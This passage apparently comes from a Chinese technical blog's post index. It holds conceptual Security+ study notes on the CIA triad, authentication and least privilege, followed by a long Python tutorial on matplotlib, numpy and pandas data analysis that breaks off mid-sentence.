帮助缓解威胁或攻击给计算机系统带来的不利影响 安全管理流程确定安全控制 检测问题并确定保护系统的最佳方式 实施安全控制 安装控制机制来预防系统中的问题 监控安全控制 包括检测并解决实施安全控制之后出现的任何安全问题 CIA 三位一体 安全控制和管理的三个原则:机密性、完整性、可用性 机密性 保障信息和通讯私密性以及保护其不受未授权访问威胁的基本原则 包括商业和军事秘密,职工信息,健康档案,纳税记录 通过加密,访问控制,信息隐藏等方式进行控制 完整性 保障组织信息的准确性,无措性,以及未授权的修改 包括对存储在网络服务器上的测试成绩或其他信息的修改 通过散列,数字签名,证书和变更控制来进行保障 可用性 确保计算机系统持续性运行以及授权人员能按需访问数据 包括确保重要数据,如雷达图像既可以被捕获也可以被发送到航空系统 通过冗余,容错和补丁的方式进行控制 不可否认性 确保了发起传输或创建数据的乙方保持与数据的连接且不能否认发送或创建过该数据 可追责性 确定对特定活动或事件负有责任的人员的过程 身份识别 对特定实体的性质声明所有权的过程 当组织需要更高级别的安全或保护时,往往会在身份识别系统中加大投入 身份识别通常会将资源(如电子邮件地址或用户名)与密码关联起来,并在其中包含额外的识别信息 认证 验证特定实体或个人身份及其唯一凭证的方法 个人是否具有访问系统的正确凭证? 保护凭证的机密性,以防止机密信息的未授权访问 认证因素 指纹,掌纹,视网膜 密钥,ID卡 密码,PIN IP地址,MAC地址,GPS位置 击键模式或跟踪图片密码 授权 确定特定实体拥有哪些权力和权限的过程 身份识别和认证成功后,系统就能确定实体被授予了哪些资源的访问权限 步骤 身份识别 认证 授权 访问控制 为资源,对象,数据确定并分配权限的过程 步骤 用户—>访问控制(管理员监管)—>服务器授权—>访问成功 计费和审计 计费:跟踪并记录系统活动和资源访问的过程审计:计费的一部分,安全专家会审核被记录下来的日志 最小特权原则 规定用户和软件只能被赋予执行任务所必须的最低访问级别的原则 应用于对设施,计算机硬件,软件和信息的访问 仅分配执行必要任务所需的最底层次访问权限 特权管理 特权管理:使用认证和授权机制提供用户和组访问控制的集中式或分散式管理SSO:特权管理的一个方面,为用户提供了多种资源,服务器或站点一次性登录","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"一. 信息安全的基础","path":"/2021/05/25/5991462f/","content":"总字符数: 0.75K 代码: 无, 文本: 0.62K 预计阅读时间: 3 分钟 信息安全 保护可用信息或信息来源不会受到未授权访问,攻击,盗取或数据损坏 负责的个人和机构必须保护他们的机密信息 所有形式的数据都必须加以保护 将商业风险和丢失关键数据造成的其他影响降到了最低 信息安全的目标预防 各种类型的信息都需要加以保护 这样做可以减少安全泄露造成的损失 防止信息的未授权访问具有最高优先级 检测 发现访问未授权数据的尝试,或已经丢失的信息 对个体进行调查、扫描数据和网络,寻找入侵者留下的蛛丝马迹 恢复 灾难或入侵可能会引起受损或数据损坏 你需要执行一个进程来从崩溃的系统或设备中恢复数据 风险 表示了面临损坏或丢失的可能性的概念,并说明了发生灾难或重大威胁的概率 IT风险常常与系统,电力,网络或物理性损失有关 所有形式的数据都必须加以保护 设计和实施信息安全时,组织必须将风险考虑在内 漏洞 任何可能使信息系统遭受损坏的情况 不合理地配置或安装软硬件 未及时应用和测试软件及固件补丁 未经测试的软件及固件补丁 软件或操作系统中的错误 软件或通讯协议的错误使用 设计拙劣的网络 糟糕的物理安全 不安全的密码 软件或操作系统中的设计缺陷 未经检查的用户数据 威胁 可能对资产造成损坏的任何事件或行动 对信息的更改 服务中断 访问中断 对硬件的损坏 对设施的损坏 攻击 在未经授权的情况下,利用应用程序或物理计算机系统中漏洞的技术 物理安全攻击 基于软件的攻击 社交工程攻击 基于网络应用程序的攻击 基于网络的攻击","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"Python-数据分析及可视化","path":"/2021/05/24/f21126ec/","content":"总字符数: 25.54K 代码: 17.89K, 文本: 3.33K 预计阅读时间: 1.54 小时 Matplotlibmatplotlib基本要点基本使用123456789from matplotlib import pyplot as plt#导入pyplotx = range(2,26,2)#数据在x轴的位置,是一个可迭代对象y =[15,13,14.5,17,20,25,26,26,24,22,18,15]#数据在y轴的位置,是一个可迭代对象#x轴和y轴的数据一起组成了所有要绘制出的坐标分别是(2,15),(4,13),(6,14.5),(8,17)...plt.plot(x,y)#传入x和y,通过plot绘制出折线图plt.show()#在执行程序的时候展示图形 图片大小123456789plt.figure(figsize=(20,8),dpi=80)#figure图形图标的意思,在这里指的就是我们画的图#通过实例化一个fgure并且传递参数,能够在后台自动使用该fgure实例#在图像模糊的时候可以传入dpi参数,让图片更加清晰x = range(2,26,2)y =[15,13,14.5,17,20,25,26,26,24,22,18,15]plt.plot(x,y)plt.savefig("./sig_size.png ")#保存图片#可以保存为svg这种矢量图格式,放大不会有锯齿plt.show() x/y轴刻度123# 标签竖着显示plt.xticks(rotation=300)#x轴刻度rotation:旋转的度数plt.yticks()#y轴刻度 中文显示123# 设置matplotlib正常显示中文和负号plt.rcParams['font.sans-serif'] = ['SimHei'] # 用黑体显示中文plt.rcParams['axes.unicode_minus'] = False # 正常显示负号 描述信息123plt.xlabel('x轴描述信息')plt.ylabel('y轴描述信息')plt.title('标题') 图形网格1plt.grid(alpha=0.4)#绘制网格,alpha:透明度 图例1234567891011121314151617181920212223242526272829#散点图from matplotlib import pyplot as pltfrom matplotlib import font_manager# 设置matplotlib正常显示中文和负号plt.rcParams['font.sans-serif'] = ['SimHei'] # 用黑体显示中文plt.rcParams['axes.unicode_minus'] = False # 正常显示负号y_3=[11,17,16,11,12,11,12,6,6,7,8,9,12,15,14,17,18,21,16,17,20,14,15,15,15,19,21,22,22,22,23]#3月份y_10=[26,26,28,19,21,17,16,19,18,20,20,19,22,23,17,20,21,20,22,15,11,15,5,13,17,10,11,13,12,13,6]#10月份x_3 =range(1,32)x_10=range(51,82)#设置图形大小plt.figure(figsize=(20,8),dpi=80)#使用scatter绘制散点图plt.scatter(x_3,y_3,label='3月份')plt.scatter(x_10,y_10,label='10月份')#调整X轴的刻度_x = list(x_3)+list(x_10)_xtick_labels=['3月{}日'.format(i) for i in x_3]_xtick_labels+=['10月{}日'.format(i-50) for i in x_10]plt.xticks(_x[::3],_xtick_labels[::3],rotation=45)#[::3]步长为3,rotation倾斜角度#添加图例plt.legend(loc=2)#添加描述信息plt.xlabel('时间')plt.ylabel('温度')plt.title('标题')#展示plt.show() 自定义绘制图形风格1plt.plot(x,y,color='r',linestyle='--',linewidth=5,alpha=0.5)#color线条颜色,linestyle线条风格,linewidth线条粗细,alpha透明度 颜色字符 描述 风格字符 描述 r 红色 - 实线 g 绿色 -- 虚线 b 蓝色 -. 点划线 c 青色 : 点线 m 洋红色 或 '' 无线条 y 黄色 k 黑色 #00ff00 16进制颜色值 0.8 灰度值字符串 折线图动手假设大家在30岁的时候,根据自己的实际情况,统计出来了你和你同桌各自从11岁到30岁每年交的女(男)朋友的数量如列表a和b,请在一个图中绘制出该数据的折线图,以便比较自己和同桌20年间的差异,同时分析每年交女(男)朋友的数量走势 12345a = [1,0,1,1,2,4,3,2,3,4,4,5,6,5,4,3,3,1,1,1]b =[1,0,3,1,2,2,3,3,2,1,2,1,1,1,1,1,1,1,1,1]要求: y轴表示个数 x轴表示岁数,比如11岁,12岁等 代码: 1234567891011121314151617y_1 = [1,0,1,1,2,4,3,2,3,4,4,5,6,5,4,3,3,1,1,1]y_2 =[1,0,3,1,2,2,3,3,2,1,2,1,1,1,1,1,1,1,1,1]x=range(11,31)#设置图形大小plt.figure(figsize=(20,8),dpi=80)#设置X轴刻度xtick_labels=['{}岁'.format(i) for i in x]plt.xticks(x,xtick_labels)plt.yticks(range(0,9))#绘制网格plt.grid(alpha=0.4)plt.plot(x,y_1,label='自己')plt.plot(x,y_2,label='同桌')#添加图例plt.legend()#展示plt.show() 散点图12345678910111213141516171819202122#散点图from matplotlib import pyplot as pltfrom matplotlib import font_manager# 设置matplotlib正常显示中文和负号plt.rcParams['font.sans-serif'] = ['SimHei'] # 用黑体显示中文plt.rcParams['axes.unicode_minus'] = False # 正常显示负号y_3=[11,17,16,11,12,11,12,6,6,7,8,9,12,15,14,17,18,21,16,17,20,14,15,15,15,19,21,22,22,22,23]#3月份y_10=[26,26,28,19,21,17,16,19,18,20,20,19,22,23,17,20,21,20,22,15,11,15,5,13,17,10,11,13,12,13,6]#10月份x_3 =range(1,32)x_10=range(51,82)#设置图形大小plt.figure(figsize=(20,8),dpi=80)plt.scatter(x_3,y_3)plt.scatter(x_10,y_10)#调整X轴的刻度_x = list(x_3)+list(x_10)_xtick_labels=['3月{}日'.format(i) for i in x_3]_xtick_labels+=['10月{}日'.format(i-50) for i in x_10]plt.xticks(_x[::3],_xtick_labels[::3],rotation=45)#展示plt.show() 条形图1234567#绘制条形图x=["战狼2","速度与激情8","功夫瑜伽","西游伏妖篇","变形金刚5:最后的骑士","摔跤吧!爸爸","加勒比海盗5死无对证" ,"金刚:骷髅岛","极限特工:终极回归","生化危机6:终章", "乘风破浪","神偷奶爸3" ,"智取威虎山","大闹天竺","金刚狼3:殊死一战","蜘矜侠:英雄归来","悟空传","银河护卫队2","情圣","新木乃伊",]y=[56.01,26.94,17.53,16.49,15.45,12.96,11.8,11.61,11.28,11.12,10.49,10.3,8.75,7.55,7.32,6.99,6.88,6.86,6.58,6.23]#单位:亿plt.figure(figsize=(20,8),dpi=80)plt.bar(x,y,width=0.3)plt.xticks(x,rotation=90)#让文字旋转90度,避免文字重叠plt.show() 12345678#绘制横着的条形图x=["战狼2","速度与激情8","功夫瑜伽","西游伏妖篇","变形金刚5:最后的骑士","摔跤吧!爸爸","加勒比海盗5死无对证" ,"金刚:骷髅岛","极限特工:终极回归","生化危机6:终章", "乘风破浪","神偷奶爸3" ,"智取威虎山","大闹天竺","金刚狼3:殊死一战","蜘矜侠:英雄归来","悟空传","银河护卫队2","情圣","新木乃伊",]y=[56.01,26.94,17.53,16.49,15.45,12.96,11.8,11.61,11.28,11.12,10.49,10.3,8.75,7.55,7.32,6.99,6.88,6.86,6.58,6.23]#单位:亿plt.figure(figsize=(20,8),dpi=80)plt.barh(range(len(x)),y,height=0.3)plt.yticks(range(len(x)),x)plt.grid(alpha=0.4)plt.show() 多条形图12345678910111213141516171819# 假设你知道了列表a中电影分别在2017-09-14(b_14),2017-09-15(b_15),2017-09-16(b_16)三天的票房,为了展示列表中电影本身的票房以及同其他电影的数据对比情况,应该如何更加直观的呈现该数据?x = ["猩球崛起3:终极之战", "敦刻尔克", "蜘蛛侠:英雄归来", "战狼2"]b_14 = [2358, 399, 2358, 362]b_15 = [12357, 156, 2045, 168]b_16 = [15746, 312, 4497, 319]bar_width = 0.2x_14 = list(range(len(x)))x_15 = [i+bar_width for i in x_14]x_16 = [i+bar_width*2 for i in x_14]# 设置图形大小plt.figure(figsize=(20, 8), dpi=80)plt.bar(range(len(x)),b_14, width=bar_width,label='9月14日')plt.bar(x_15, b_15, width=bar_width,label='9月15日')plt.bar(x_16, b_16, width=bar_width,label='9月16日')#设置图例plt.legend()#设置x轴的刻度plt.xticks(x_15,x)plt.show() 直方图把数据分为多少组进行统计??? 组数要适当,太少会有较大的统计误差,大多规律不明显 组数:将数据分组,当数据在100个以内时,按数据多少常分5-12组.组距:指每个小组的两个端点的距离 1234567891011bin_width = 3#设置组距为3num_bins = int((max (a)-min(a))/bin_width)#分为多少组plt.hist(a,num_bins)#传入需要统计的数据,以及组数即可#plt.hist(a,[min(a)+i*bin_width for i in range(num_bins)])#可以传入一个列表,长度为组数,值为分组依据,当组距不均匀的时候使用#plt.hist(a, num_bins,normed=1)#normed : bool是否绘制频率分布直方图,默认为频数直方图plt.xticks(list(range(min(a),max(a))[::bin_width],rotation=45)plt.grid(True,linestyle = "-.",alpha=0.5) #显示网格,alpha为透明度 12345678910111213#直方图#假设你获取了250部电影的时长(列表a中),希望统计出这些电影时长的分布状态(比如时长为100分钟到120分钟电影的数量,出现的频率)等信息,你应该如何呈现这些数据?a = [131, 98, 125, 131, 124, 139, 131, 117, 128, 108,135, 138, 131, 102, 107, 114, 119, 128, 121, 142, 127, 130, 124, 101,110, 116, 117, 110, 128, 128, 90, 99, 136, 126, 134, 95, 138, 117, 79, 78,132, 124, 113, 150, 110, 117, 86, 95, 144, 105, 126, 130, 126, 130, 126, 116, 123, 106, 112, 138,123, 86, 101, 99, 136, 123, 117, 119, 105, 137, 123, 128, 125, 104, 109, 134, 125, 127, 105, 120, 107, 129, 116,108, 132, 103, 136, 118, 102, 120, 114, 105, 115, 132, 145, 119, 121, 112, 139, 125, 138, 109, 132, 134, 156, 106,117, 127, 144, 139, 139, 119, 140, 83, 110, 102, 123, 107, 143, 115, 136, 118, 139, 123, 112, 88, 125, 109, 119, 133, 112, 114,122, 109, 106, 123, 116, 131, 127, 115, 118, 112, 135, 115, 146, 137, 116, 103, 144, 83, 123, 79, 110, 101, 100, 154, 136,100, 118, 119, 133, 134, 106, 129, 126, 110, 98, 109, 141, 120, 117, 106, 149, 122, 122, 110, 118, 127, 121, 114, 125, 126,114, 140, 103, 130, 141, 117, 106, 114, 121, 114, 133, 137, 92, 121, 112, 146, 97, 137, 105, 98, 117, 112, 81, 97, 139, 113, 134, 106, 144, 110, 137, 137, 91, 104, 117, 100, 111, 101, 110, 105, 129, 137, 112, 120, 113, 133,112, 83, 94, 146, 133, 101, 131, 116, 111, 84, 137, 115, 122, 106, 144, 109, 123, 116, 111, 111, 133, 150]plt.figure(figsize=(20,8),dpi=80)plt.grid()# 组距(组距最好选可以让max(a)-min(a)整除的)d = 3#计算组数num_bins=(max(a)-min(a))//dplt.hist(a,num_bins)#设置x轴的刻度plt.xticks(range(min(a),max(a)+d,d))#max(a)+d保证可以取到最大值plt.show() 用条形图绘制直方图12345678910111213#在美国2004年人口普查发现有124 million的人在离家相对较远的地方工作.根据他们从家到上班地点所需要的时间,通过抽样统计(最后一列)出了下表的数据,这些数据能够绘制成直方图么?interval = [0,5,10,15,20,25,30,35,40,45,60,90]#时间段mwidth =[5,5,5,5,5,5,5,5,5,15,30,60]#组距quantity = [836,2737,3723,3926,3596,1438,3273,642,824,613,215,47]#数据# 前面的问题中给出的数据都是统计之后的数据,所以为了达到直方图的效果,需要绘制条形图# 所以:一般来说能够使用plt.hist方法的的是那些没有统计过的数据plt.figure(figsize=(20,8),dpi=80)plt.grid()plt.bar(range(12),quantity,width=1)#设置x轴的刻度_x = [i-0.5 for i in range(13)]#让x轴往左移动0.5plt.xticks(_x,interval+[150])plt.show() Numpy什么是numpy一个在Python中做科学计算的基础库,重在数值计算,也是大部分PYTHON科学计算库的基础库,多用于在大型、多维数组上执行数值运算 numpy基础numpy创建数组(矩阵)123456789101112131415#numpy#创建数组:import numpy as npa = np.array ([1,2,3,4,5])b = np.array (range(1,6))c = np.arange(1,6)#上面a,b,c内容相同,注意arange和range的区别#np.arange的用法: arange([start,] stop[,step,],dtype=None)#数组的类名:a =np.array ([1,2,3,4,5])type(a)#numpy.ndarray#数据的类型a.dtype#dtype('int32') numpy中的数据类型 类型 类型代码 说明 int8、uint8 i1、u1 有符号和无符号的8位(1个字节)整型 int16、uint16 i2、u2 有符号和无符号的16位(2个字节)整型 int32、uint32 i4、u4 有符号和无符号的32位(4个字节)整型 int64、uint64 i8、u8 有符号和无符号的64位(8个字节)整型 float16 f2 半精度浮点数 float32 f4或f 标准的单精度浮点数.与C的float兼容 float64 f8或d 标准的双精度浮点数.与C的double和Python的float对象兼容 float128 f16或g 扩展精度浮点数 complex64、complex128 c8、c16 分别用两个32位、64位或128位浮点数表示的 complex256 c32 复数 bool ? 存储True和False值的布尔类型 1234567891011#指定创建的数组的数据类型:a=np.array([1,0,1,0],dtype=np.bool) #或者使用dtype='?'a#Out:array([ True, False, True, False])# 修改数组的数据类型:# a.astype("i1")#或者使用a.astype(np.int8)#Out:array([1, 0, 1, 0], dtype=int8)#修改浮点型的小数位数:# b# np.round (b,2)# 那么问题来了,python中如何保留固定位数的小数? 数组的形状12345678910111213141516171819202122232425262728293031323334353637383940import numpy as np#查看数组的形状:a.shapet1=np.arange(12)t1#OUT:array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])t1.shape#OUT:(12,)t2=np.array([[1,2,3],[4,5,6]])t2#OUT:array([[1, 2, 3],[4, 5, 6]])t2.shape#OUT:(2, 3)t3=np.array([[[1,2,3,],[4,5,6]],[[7,8,9],[10,11,12]]])t3.shape#OUT:(2, 2, 3)#修改数组的形状:a.reshape(3,4)t4=np.arange(12)t4#OUT:array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])t4.reshape((3,4))#变成3行4列的数组,3*4=12# OUT:array([[ 0, 1, 2, 3],[ 4, 5, 6, 7],[ 8, 9, 10, 11]])t5=np.arange(24).reshape((2,3,4))#2块,3行4列t5#OUT:array([[[ 0, 1, 2, 3], # [ 4, 5, 6, 7], # [ 8, 9, 10, 11]], # [[12, 13, 14, 15], # [16, 17, 18, 19], # [20, 21, 22, 23]]])t5 = t5.reshape((4,6))#t5本身不会改变# OUT:array([[ 0, 1, 2, 3, 4, 5],# [ 6, 7, 8, 9, 10, 11],# [12, 13, 14, 15, 16, 17],# [18, 19, 20, 21, 22, 23]])# t6.shape[0]*t6.shape[1]#加入不知道t6有多少个但是想把它变成一维的所以用shape[0]*shape[1]t6=t5.reshape((t5.shape[0]*t5.shape[1],))#shape[0]行数,shape[1]列数或者t5.flatten()t6# OUT:array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,# 17, 18, 19, 20, 21, 22, 23])t5.flatten()#OUT:array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,# 17, 18, 19, 20, 21, 22, 23]) 数组的计算数组和数的计算123456789101112131415t5# OUT:array([[ 0, 1, 2, 3, 4, 5],# [ 6, 7, 8, 9, 10, 11],# [12, 13, 14, 15, 16, 17],# [18, 19, 20, 21, 22, 23]])t5+2#所有的值都+2,t5*2,t5-2,#t5/0#任何数除以零都得零,有些情况下会报Warning,结果是nan,和inf,nan是零除以零的结果(nan(not on number不是一个数字)),inf(infinity,无穷)是零除以一个数字的结果#OUT:array([[nan, inf, inf, inf, inf, inf], # [inf, inf, inf, inf, inf, inf], # [inf, inf, inf, inf, inf, inf], # [inf, inf, inf, inf, inf, inf]])# OUT:array([[ 2, 3, 4, 5, 6, 7],# [ 8, 9, 10, 11, 12, 13],# [14, 15, 16, 17, 18, 19],# [20, 21, 22, 23, 24, 25]]) 数组和数组的计算123456789101112131415161718192021222324252627282930t5#OUT:array([[ 0, 1, 2, 3, 4, 5], # [ 6, 7, 8, 9, 10, 11], # [12, 13, 14, 15, 16, 17], #[18, 19, 20, 21, 22, 23]])t6=np.arange(100,124).reshape((4,6))t6t6+t5#对应位置的数字相+,其他运算也是t7=np.arange(0,6)t7#OUT:array([0, 1, 2, 3, 4, 5])t5-t7#行形状一样也可以计算# OUT:array([[ 0, 0, 0, 0, 0, 0],# [ 6, 6, 6, 6, 6, 6],# [12, 12, 12, 12, 12, 12],# [18, 18, 18, 18, 18, 18]])t8=np.arange(4).reshape((4,1))t8# OUT:array([[0],# [1],# [2],# [3]])t5-t8# OUT:array([[ 0, 1, 2, 3, 4, 5],# [ 5, 6, 7, 8, 9, 10],# [10, 11, 12, 13, 14, 15],# [15, 16, 17, 18, 19, 20]])t9=np.arange(10)t9#OUT:array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])# t5-t9#报错,对应不上 广播原则 如果两个数组的后缘维度 (trailing dimension,即从末尾开始算起的维度)的轴长度相符或其中一方的长度为1,则认为它们是广播兼容的.广播会在缺失和(或)长度为1的维度上进行. 怎么理解呢?可以把维度指的是shape所对应的数字个数那么问题来了: shape为(3,3,3)的数组能够和(3,2)的数组进行计算么? 不可以,形状不一样 shape为(3,3,2)的数组能够和(3,2)的数组进行计算么? 可以,末尾形状一样(第一块的3行2列和后面的3行2列计算,以此类推) 有什么好处呢? 举个例子:每列的数据减去列的平均值的结果 numpy常用方法 numpy常用统计方法Pandas什么是pandas 一个开源的Python类库:用于数据分析、数据处理、数据可视化 高性能 容易使用的数据结构 容易使用的数据分析工具 很方便和其他类库一起使用: numpy:用于数学计算 scikit-learn:用于机器学习 pandas读取数据pandas需要先读取表格类型的数据,然后进行分析 数据类型 说明 Pandas读取方式 csv、tsv、txt 用逗号分隔、tab分隔的纯文本文件 pd.read_csv excel 微软xls或者xlsx文件 pd.read_excel mysql 关系型数据库表 pd.read_sql 1234567891011121314151617181920212223242526272829303132333435363738394041# 导入Pandasimport pandas as pd# 读取纯文本文件# 读取csv,使用默认的标题行、逗号分隔fpath="./datas/ml-latest-small/ratings.csv"# 使用pd.read_csv读取数据ratings=pd.read_csv(fpath)# 查看前几行数据ratings.head()# 查看数据的形状,返回(行数,列数)ratings.shape# 查看列名列表ratings.columns#查看索引列ratings.index# 查看每列的数据类型ratings.dtypes# 读取txt文件,自己指定分隔符、列名fpath="./datas/crazyant/access_pvuv.txt"pvuv=pd.read_csv( fpath, sep='\\t',#列分隔符 header=None,#没有标题行 names=['pdate','pv','uv']#列名)pvuv# 读取excel文件fpath="./datas/crazyant/access_pvuv.xls"pvuv=pd.read_excel(fpath)pvuv# 读取mysql数据库import pymysqlconn=pymysql.connect( host='127.0.0.1', user='root', password='123456789', datase='test', charset='utf8')mysql_page=pd.read_sql('select * from test',con=conn)mysql_page Pandas数据结构DataFrame:二维数据,整个表格,多行多列 Series:一维数据,一行或一列 Series DataFrame 从DataFrame中查询出Series 123456789101112131415161718192021222324import pandas as pd import numpy as np# 1.Series# Series是一种类似于数组的对象,它由一组数据(不同数据类型)以及一组与之相关的数据标签(既索引组成)# 1.1仅有数据列表即可产生最简单的Seriess1= pd.Series([1,'a',5.2,7])s1#左侧为索引,右侧是数据#获取索引s1.index#获取数据s1.values# 1.2 创建一个具有标签索引的Seriess2= pd.Series([1,'a',5.2,7],index=['a','b','c','d'])s2.index# 1.3使用python字段创建seriessdata={'a':300,'b':9900,'c':9920,'d':23556,'e':290903}s3=pd.Series(sdata)s3# 1.4 根据标签索引查询数据# 类似Python的字典dicts2['a']type(s2['a'])s2[['b','a']]type(s2[['b','a']]) DataFrameDataFrame是一个表格型的数据结构 每列可以是不同的值类型(数值、字符串、布尔值等) 既有行索引index,也有列索引columns 可以被看作由Series组成的字典 根据多个字典序列创建dataframe1234567891011121314151617181920212223242526272829# 2 DataFrame# DataFrame是一个表格型的数据结构# 根据多个字典序列创建dataframedata={ 'state':['AMKKLS','MNNJS','JKSNGSA','JKOMNS','ASSSSV'], 'year':[2000,2001,2002,2003,2004], 'pop':[1.5,1.7,3.6,2.4,2.9]}df=pd.DataFrame(data)dfdf.dtypesdf.columnsdf.index# 从dataFrame中查询出Series# 如果只查询一列、一行,返回的是pd.Series# 如果查询多行、多列,返回的是pd.DataFramedf# 查询一列,结果是一个pd.Seriesdf['year']type(df['year'])#pandas.core.series.Series# 查询多列,结果是一个pd.DataFramedf[['year','pop']]type(df[['year','pop']])#pandas.core.frame.DataFrame# 查询一行,结果是pd.Seriesdf.loc[1]type(df.loc[1])#pandas.core.series.Series# 查询多行,结果是一个pd.DataFramedf.loc[1:3]type(df.loc[1:3])#pandas.core.frame.DataFrame Pandas查询数据的5种方法 按数值、列表、区间、条件、函数五种方法 Pandas查询数据的几种方法12345df.loc方法,根据行、列的标签值查询df.iloc方法,根据行、列的数字位置查询df.where方法df.query方法.loc既能查询,又能覆盖写入,强烈推荐! Pandas使用df.loc查询数据的方法12345使用单个label值查询数据使用值列表批量查询使用数值区间进行范围查询使用条件表达式查询调用函数查询 注意 以上查询方法,既适用于行,也适用于列 注意观察降维dataFrame>Series>值 Pandas如何新增数据列在进行数据分析时,经常需要按照一定条件创建新的数据列,然后进行进一步分析 直接赋值 df.apply方法 df.assign方法 按条件选择分组分别赋值 12345import pandas as pd# 读取csv数据到DataFramefpath='./datas/beijing_tianqi/beijing_tianqi_2018.csv'df=pd.read_csv(fpath)df.head() 直接赋值的方法123456789# 实例:清理温度列,变成数字类型# 替换掉温度的后缀℃df.loc[:,'bWendu']=df['bWendu'].str.replace('℃','').astype('int32')df.loc[:,'yWendu']=df['yWendu'].str.replace('℃','').astype('int32')df.head()# 实例:计算温差# 注意:df['bWendu']其实是一个Series,后面的减法返回的是Seriesdf.loc[:,'wencha']=df['bWendu']-df['yWendu']df.head() df.apply方法 沿着df的某个轴应用一个函数.传递给函数的对象是个Series对象,其索引是数据帧的索引(axis=0)或数据帧的列(axis=1) 1234567891011121314实例:添加一列温度类型: 1. 如果最高温度大于33度就说高温 2. 低于-10度是低温 3. 否则是常温def get_wendu_type(x): if x['bWendu']>33: return '高温' if x['yWendu']<-10: return '低温' return '常温'df.loc[:,'wendu_type']=df.apply(get_wendu_type,axis=1)df# 查看温度类型的计数df['wendu_type'].value_counts() df.assign方法 给数据帧分配新的列.返回一个新对象,其中包含除了新列之外的所有原始列. 12345# 可以同时添加多个新的列df.assign( yWendu_huashi = lambda x : x['yWendu']*9/5+32, bWendu_huashi = lambda x : x['bWendu']*9/5+32) 按条件选择分组分别赋值按条件先选择数据,然后对这部分数据赋值新列 实例:高低温差大于10度,则认为温差大 12345# 先创建空列(这是第一种创建新列的方法)df['wencha_type']=''df.loc[df['bWendu']-df['yWendu']>10,'wencha_type']='温差大'df.loc[df['bWendu']-df['yWendu']<=10,'wencha_type']='温差正常'df['wencha_type'].value_counts() Pandas数据统计函数 汇总类统计 唯一去重和按值计数 相关系数和协方差 汇总类统计12345678# 一下子提取所有数字列统计结果df.describe()# 查看单个Series的数据df['bWendu'].mean()# 最高温df['bWendu'].max()# 最低温df['bWendu'].min() 唯一去重123df['fengxiang'].unique()df['tianqi'].unique()df['fengli'].unique() 按值计数123df['fengxiang'].value_counts()df['tianqi'].value_counts()df['fengli'].value_counts() 相关系数和协方差 协方差:衡量同向反向程度,如果协方差为正,说明X,Y同向变化,协方差越大说明同向程度越高;如果协方差为负,说明X,Y反向运动,协方差越小说明反向程度越高. 相关系数:衡量相似程度,当他们相关系数为1时,说明两个变量变化时的正向相似度最大,当相关系数为-1时,说明两个变量变化的反向相似度最大 123456789# 协方差矩阵df.cov()# 相关系数矩阵df.corr()# 单独查看空气质量和最高温度的相关系数df['aqi'].corr(df['bWendu'])df['aqi'].corr(df['yWendu'])# 空气质量和温度差的相关系数df['aqi'].corr(df['bWendu']-df['yWendu']) Pandas缺失值处理Pandas使用这些函数处理缺失值 isnull和notnull:检测是否是空值,可用于df和series dropna:丢弃、删除缺失值 axis:删除行还是列,{0 or ‘index’,1or ‘columns’},default 0 how:如果等于any则任何值都删除,如果等于all则所有值都为空才删除 inplace:如果为True则修改当前df,否则返回新的df fillna: 填充空值 value:用于填充的值,可以是单个值,或者字典(key是列名,value是值) method:等于ffill使用前一个不为空的值填充forword fill;等于bfill使用后一个不为空的值填充backword fill axis:按行还是列填充,{0 or ‘index’,1or ‘columns’} inplace:如果为True则修改当前df,否则返回新的df 1234567891011121314151617181920212223242526import pandas as pdfpath=('./datas/student_excel/student_excel.xls')df = pd.read_excel(fpath,skiprows=2)# skiprows跳过前两行df# 检测空值df.isnull()df['分数'].isnull()df['分数'].notnull()# 筛选没有空分数的所有行df.loc[df['分数'].notnull(),:]# 删除掉全是空值的列df.dropna(axis='columns',how='all',inplace=True)df# 删除全是空值的行df.dropna(axis='index',how='all',inplace=True)df# 将分数列为空的填充为0分df.fillna({'分数':0},inplace=True)# 等同于# df.loc[:,'分数']=df['分数'].fillna(0)# 将姓名的缺失值填充# 使用前面的有效值填充ffill:forward filldf.loc[:,'姓名']=df.fillna(method='ffill')df# 将清洗好的excel保存df.to_excel('./datas/student_excel/student_clean_excel.xls',index=False)#index=False不保存索引 Pandas 的Setting WithCopyWarning 报警复现、原因、解决方案报警复现12345678910111213141516import pandas as pd# 读取csv数据到DataFramefpath='./datas/beijing_tianqi/beijing_tianqi_2018.csv'df=pd.read_csv(fpath)df.head()# 直接赋值的方法# 实例:清理温度列,变成数字类型# 替换掉温度的后缀℃df.loc[:,'bWendu']=df['bWendu'].str.replace('℃','').astype('int32')df.loc[:,'yWendu']=df['yWendu'].str.replace('℃','').astype('int32')df.head()# 只选出3月份的数据用于分析condition = df['ymd'].str.startswith('2018-03')# 这一步会报错Setting WithCopyWarningdf[condition]['wen_cha']=df['bWendu']-df['yWendu']df[condition].head() 原因发出警告的代码 df[condition]['wen_cha']=df['bWendu']-df['yWendu']相当于:df.get(condition).set(wen_cha),第一步骤的get发出了报警 链式操作其实是两个步骤,先get后set,get得到的dataframe可能是view也可能是copy,pandas发出警告 核心要诀:pandas的dataframe的修改写操作,只允许在源dataframe上进行,一步到位 解决方法 将get+set的两步操作,改成set的一步操作 12df.loc[condition,'wendu_cha']=df['bWendu']-df['yWendu']df[condition].head() 如果需要预筛选数据做后续的处理分析,使用copy复制dataframe 1234df_month3=df[condition].copy()df_month3.head()df_month3['wen_cha']=df['bWendu']-df['yWendu']df_month3.head() 注意:pandas不允许筛选子dataframe,再进行修改写入 要么使用.loc实现一个步骤直接修改源dataframe 要么先复制一个子dataframe再执行修改 Pandas数据排序Series的排序: Series.sort_values(ascending=True,inplace=False) 参数说明: ascending:默认为True升序排序,为False降序排序 inplace:是否修改Series DataFrame的排序: DataFrame.sort_values(by,ascending=True,inplace=False) 参数说明: by:字符串或者List<字符串>,单列排序或者多列排序 ascending:bool或者List,升序还是降序,如果是list对应by的多列 inplace:是否修改原始DataFrame Series的排序123df['aqi'].sort_values()df['aqi'].sort_values(ascending=False)df['tianqi'].sort_values() DataFrame的排序 单列排序 12df.sort_values(by='aqi')df.sort_values(by='aqi',ascending=False) 多列排序 123456# 按空气质量等级、最高温度排序,默认升序df.sort_values(by=['aqiLevel','bWendu'])# 